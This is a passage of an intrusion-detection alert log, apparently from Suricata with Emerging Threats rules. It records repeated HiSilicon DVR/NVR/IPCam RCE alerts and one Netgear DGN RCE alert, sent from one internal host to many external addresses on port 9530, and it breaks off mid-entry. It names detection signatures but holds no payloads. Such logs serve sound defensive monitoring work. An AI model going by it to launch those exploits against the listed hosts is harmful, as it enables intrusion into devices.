ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 76.128.131.11

Timestamp:	05/16/24-16:39:05.693235
SID:	2030488
Source Port:	42726
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 121.4.9.209

Timestamp:	05/16/24-16:38:57.302530
SID:	2030488
Source Port:	43578
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 133.95.96.198

Timestamp:	05/16/24-16:39:02.768667
SID:	2030488
Source Port:	35274
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 126.97.101.186

Timestamp:	05/16/24-16:39:08.045013
SID:	2030488
Source Port:	46460
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 61.131.135.19

Timestamp:	05/16/24-16:39:08.128065
SID:	2030487
Source Port:	46784
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 126.97.101.186

Timestamp:	05/16/24-16:39:08.045013
SID:	2030487
Source Port:	46460
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 67.108.246.38

Timestamp:	05/16/24-16:39:02.726913
SID:	2030488
Source Port:	46242
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 67.108.246.38

Timestamp:	05/16/24-16:39:02.726913
SID:	2030487
Source Port:	46242
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 61.131.135.19

Timestamp:	05/16/24-16:39:08.128065
SID:	2030488
Source Port:	46784
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 151.145.227.248

Timestamp:	05/16/24-16:38:59.558031
SID:	2030487
Source Port:	44518
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 104.104.89.187

Timestamp:	05/16/24-16:39:14.493508
SID:	2030488
Source Port:	38968
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 151.145.227.248

Timestamp:	05/16/24-16:38:59.558031
SID:	2030488
Source Port:	44518
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 104.104.89.187

Timestamp:	05/16/24-16:39:14.493508
SID:	2030487
Source Port:	38968
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 139.146.32.10

Timestamp:	05/16/24-16:39:03.280096
SID:	2030487
Source Port:	52778
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 139.146.32.10

Timestamp:	05/16/24-16:39:03.280096
SID:	2030488
Source Port:	52778
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 140.236.200.128

Timestamp:	05/16/24-16:38:59.557055
SID:	2030487
Source Port:	54386
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 140.236.200.128

Timestamp:	05/16/24-16:38:59.557055
SID:	2030488
Source Port:	54386
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 43.7.43.45

Timestamp:	05/16/24-16:38:57.423096
SID:	2030488
Source Port:	37474
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 64.56.48.190

Timestamp:	05/16/24-16:39:14.491110
SID:	2030488
Source Port:	60110
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 43.7.43.45

Timestamp:	05/16/24-16:38:57.423096
SID:	2030487
Source Port:	37474
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 64.56.48.190

Timestamp:	05/16/24-16:39:14.491110
SID:	2030487
Source Port:	60110
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 125.24.153.88

Timestamp:	05/16/24-16:39:14.521663
SID:	2030488
Source Port:	35876
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 91.222.165.79

Timestamp:	05/16/24-16:38:59.520125
SID:	2030488
Source Port:	48522
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 91.222.165.79

Timestamp:	05/16/24-16:38:59.520125
SID:	2030487
Source Port:	48522
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 31.64.135.13

Timestamp:	05/16/24-16:39:05.675852
SID:	2030488
Source Port:	53696
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 134.134.137.225

Timestamp:	05/16/24-16:38:50.052349
SID:	2030488
Source Port:	60560
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 134.134.137.225

Timestamp:	05/16/24-16:38:50.052349
SID:	2030487
Source Port:	60560
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 31.64.135.13

Timestamp:	05/16/24-16:39:05.675852
SID:	2030487
Source Port:	53696
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 64.161.47.166

Timestamp:	05/16/24-16:39:08.127325
SID:	2030487
Source Port:	55056
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 64.161.47.166

Timestamp:	05/16/24-16:39:08.127325
SID:	2030488
Source Port:	55056
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 62.190.53.68

Timestamp:	05/16/24-16:39:03.275999
SID:	2030488
Source Port:	48526
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 62.190.53.68

Timestamp:	05/16/24-16:39:03.275999
SID:	2030487
Source Port:	48526
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 205.244.173.67

Timestamp:	05/16/24-16:38:57.411388
SID:	2030487
Source Port:	41348
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 205.244.173.67

Timestamp:	05/16/24-16:38:57.411388
SID:	2030488
Source Port:	41348
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 23.121.196.147

Timestamp:	05/16/24-16:38:50.068494
SID:	2030488
Source Port:	58602
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 189.22.23.63

Timestamp:	05/16/24-16:39:02.726930
SID:	2030487
Source Port:	54416
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 189.22.23.63

Timestamp:	05/16/24-16:39:02.726930
SID:	2030488
Source Port:	54416
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 94.169.138.222

Timestamp:	05/16/24-16:39:12.301277
SID:	2030487
Source Port:	33812
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 94.169.138.222

Timestamp:	05/16/24-16:39:12.301277
SID:	2030488
Source Port:	33812
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.123.230.142

Timestamp:	05/16/24-16:38:53.011461
SID:	2030488
Source Port:	58324
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 188.123.230.142

Timestamp:	05/16/24-16:38:53.011461
SID:	2030487
Source Port:	58324
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 23.121.196.147

Timestamp:	05/16/24-16:38:50.068494
SID:	2030487
Source Port:	58602
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 76.56.236.138

Timestamp:	05/16/24-16:38:53.084773
SID:	2030487
Source Port:	51954
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 76.56.236.138

Timestamp:	05/16/24-16:38:53.084773
SID:	2030488
Source Port:	51954
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 81.37.198.73

Timestamp:	05/16/24-16:39:14.494555
SID:	2030487
Source Port:	41438
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 81.37.198.73

Timestamp:	05/16/24-16:39:14.494555
SID:	2030488
Source Port:	41438
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 109.17.150.66

Timestamp:	05/16/24-16:38:59.557129
SID:	2030488
Source Port:	43394
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 109.17.150.66

Timestamp:	05/16/24-16:38:59.557129
SID:	2030487
Source Port:	43394
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 113.8.170.167

Timestamp:	05/16/24-16:39:16.603539
SID:	2030487
Source Port:	47112
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 113.8.170.167

Timestamp:	05/16/24-16:39:16.603539
SID:	2030488
Source Port:	47112
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 82.143.67.133

Timestamp:	05/16/24-16:38:55.175171
SID:	2030487
Source Port:	42514
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 176.69.5.127

Timestamp:	05/16/24-16:39:14.491167
SID:	2030488
Source Port:	38682
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 176.69.5.127

Timestamp:	05/16/24-16:39:14.491167
SID:	2030487
Source Port:	38682
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 114.107.26.180

Timestamp:	05/16/24-16:39:16.611190
SID:	2030488
Source Port:	38612
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 114.107.26.180

Timestamp:	05/16/24-16:39:16.611190
SID:	2030487
Source Port:	38612
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 151.43.198.105

Timestamp:	05/16/24-16:38:53.066967
SID:	2030488
Source Port:	47458
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 92.76.185.211

Timestamp:	05/16/24-16:38:53.099216
SID:	2030487
Source Port:	59174
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 151.43.198.105

Timestamp:	05/16/24-16:38:53.066967
SID:	2030487
Source Port:	47458
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 92.76.185.211

Timestamp:	05/16/24-16:38:53.099216
SID:	2030488
Source Port:	59174
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 84.60.21.218

Timestamp:	05/16/24-16:39:05.675963
SID:	2030488
Source Port:	35812
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 84.60.21.218

Timestamp:	05/16/24-16:39:05.675963
SID:	2030487
Source Port:	35812
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 126.238.53.64

Timestamp:	05/16/24-16:38:57.425703
SID:	2030487
Source Port:	58286
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 126.238.53.64

Timestamp:	05/16/24-16:38:57.425703
SID:	2030488
Source Port:	58286
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 210.225.135.114

Timestamp:	05/16/24-16:39:05.702420
SID:	2030487
Source Port:	34910
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 210.225.135.114

Timestamp:	05/16/24-16:39:05.702420
SID:	2030488
Source Port:	34910
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.143.67.133

Timestamp:	05/16/24-16:38:55.175171
SID:	2030488
Source Port:	42514
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 186.208.213.126

Timestamp:	05/16/24-16:39:14.531131
SID:	2030487
Source Port:	37142
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 186.208.213.126

Timestamp:	05/16/24-16:39:14.531131
SID:	2030488
Source Port:	37142
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 83.52.52.184

Timestamp:	05/16/24-16:38:53.410466
SID:	2034576
Source Port:	42022
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 164.58.167.4

Timestamp:	05/16/24-16:38:53.099187
SID:	2030487
Source Port:	36990
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 138.113.37.23

Timestamp:	05/16/24-16:39:05.704032
SID:	2030488
Source Port:	50852
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 164.58.167.4

Timestamp:	05/16/24-16:38:53.099187
SID:	2030488
Source Port:	36990
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.109.135.191

Timestamp:	05/16/24-16:38:57.408681
SID:	2030488
Source Port:	52722
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 138.113.37.23

Timestamp:	05/16/24-16:39:05.704032
SID:	2030487
Source Port:	50852
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 222.0.55.254

Timestamp:	05/16/24-16:38:57.411174
SID:	2030488
Source Port:	58348
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 222.0.55.254

Timestamp:	05/16/24-16:38:57.411174
SID:	2030487
Source Port:	58348
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 44.122.118.121

Timestamp:	05/16/24-16:39:03.290444
SID:	2030488
Source Port:	52726
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 44.122.118.121

Timestamp:	05/16/24-16:39:03.290444
SID:	2030487
Source Port:	52726
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 104.252.231.109

Timestamp:	05/16/24-16:38:55.210410
SID:	2030487
Source Port:	33512
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 104.252.231.109

Timestamp:	05/16/24-16:38:55.210410
SID:	2030488
Source Port:	33512
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 185.122.64.36

Timestamp:	05/16/24-16:39:08.127946
SID:	2030488
Source Port:	41872
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 4.135.50.84

Timestamp:	05/16/24-16:39:05.707640
SID:	2030487
Source Port:	54784
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 4.135.50.84

Timestamp:	05/16/24-16:39:05.707640
SID:	2030488
Source Port:	54784
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 185.122.64.36

Timestamp:	05/16/24-16:39:08.127946
SID:	2030487
Source Port:	41872
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 198.156.242.55

Timestamp:	05/16/24-16:38:55.175123
SID:	2030488
Source Port:	42402
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.138.216.155

Timestamp:	05/16/24-16:39:08.041844
SID:	2030488
Source Port:	37680
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 57.244.181.133

Timestamp:	05/16/24-16:38:55.226778
SID:	2030488
Source Port:	57326
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 57.244.181.133

Timestamp:	05/16/24-16:38:55.226778
SID:	2030487
Source Port:	57326
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 198.156.242.55

Timestamp:	05/16/24-16:38:55.175123
SID:	2030487
Source Port:	42402
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 94.99.152.103

Timestamp:	05/16/24-16:38:50.004271
SID:	2030488
Source Port:	55768
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 53.211.82.141

Timestamp:	05/16/24-16:38:53.086061
SID:	2030488
Source Port:	36912
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 53.211.82.141

Timestamp:	05/16/24-16:38:53.086061
SID:	2030487
Source Port:	36912
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 94.99.152.103

Timestamp:	05/16/24-16:38:50.004271
SID:	2030487
Source Port:	55768
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 181.138.216.155

Timestamp:	05/16/24-16:39:08.041844
SID:	2030487
Source Port:	37680
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 181.109.135.191

Timestamp:	05/16/24-16:38:57.408681
SID:	2030487
Source Port:	52722
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 184.115.170.70

Timestamp:	05/16/24-16:39:05.705332
SID:	2030487
Source Port:	42860
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 184.115.170.70

Timestamp:	05/16/24-16:39:05.705332
SID:	2030488
Source Port:	42860
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 218.129.183.16

Timestamp:	05/16/24-16:38:50.080370
SID:	2030488
Source Port:	56722
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 218.129.183.16

Timestamp:	05/16/24-16:38:50.080370
SID:	2030487
Source Port:	56722
Destination Port:	9530
